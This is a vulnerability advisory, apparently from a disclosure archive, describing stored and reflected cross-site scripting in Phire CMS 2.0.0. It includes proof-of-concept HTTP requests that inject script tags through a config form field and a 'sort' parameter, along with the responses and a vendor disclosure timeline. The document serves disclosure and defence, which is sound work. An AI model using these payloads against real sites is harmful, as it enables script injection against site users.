Phire CMS 2.0.0 Cross Site Scripting

`[+] Title  
Phire CMS <= 2.0.0 - Multiple XSS Vulnerabilities  
  
[+] Credit  
Mattia Reggiani ([email protected])  
  
[+] Advisory  
https://github.com/mattiareggiani/Security-Advisories/blob/master/MR-16-02_PhireCMS.pdf  
  
[+] Vendor Homepage  
http://www.phirecms.org/  
  
[+] Affected Version  
2.0.0  
  
[+] Tested on  
Ubuntu Server 14.04, web server Apache 2.2.31  
  
[+] CVE  
N/A  
  
[+] Severity  
Medium to High  
  
[+] Summary  
Phire CMS is an open source content management system and publishing platform for managing the content of websites and web applications. Phire CMS is written using the MySQL database and the PHP programming language.  
Phire CMS is prone to multiple cross-site scripting (XSS) vulnerabilities, which could be used by malicious users to inject arbitrary JavaScript code in victim's browser.  
  
[+] Vulnerabilities  
[+][+] Stored Cross Site Scripting (XSS)  
# Description: Multiple stored XSS vulnerability has been found in HTTP Referer header. This can lead to arbitrary execution of code client-side (eg. Javascript).  
# Proof of Concept:  
>HTTP Request  
POST /phirecms/phire/config HTTP/1.1  
[Headers]: ...  
[Post Data]:  
datetime_format=&datetime_format_custom=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&pagination=25&system_theme=default&submit=Save  
  
>HTTP Response  
...  
<input type="radio" name="datetime_format" id="datetime_format8" onclick="phire.customDatetime('/phirecms/phire');" checked="checked" value=""><script>alert(1337)</script>" />  
<input type="text" name="datetime_format_custom" id="datetime_format_custom" onkeyup="phire.customDatetime('/phirecms/phire')" value=""><script>alert(1337)</script>" size="10" />  
...  
  
[+][+] Reflected Cross Site Scripting (XSS)  
# Description: Reflected XSS vulnerabilities have been found in System module. This can lead to arbitrary execution of code client-side (eg. Javascript).  
# Proof of Concept:  
>HTTP Request  
GET http://[HOST]/phirecms/phire/users?sort=id%3E%3Cscript%3Ealert(1337)%3C/script%3E  
  
>HTTP Response  
...  
<p>Error: 1054 => Unknown column 'id><script>alert(1337)</script>' in 'order clause'.</p>  
...   
  
[+] Disclosure timeline  
# Discovery: 05/06/16  
# Vendor disclosure: 09/06/16  
# Vendor acknowledgment: 10/06/16  
# Patch release: 14/06/16  
# Public disclosure: 19/07/16  
`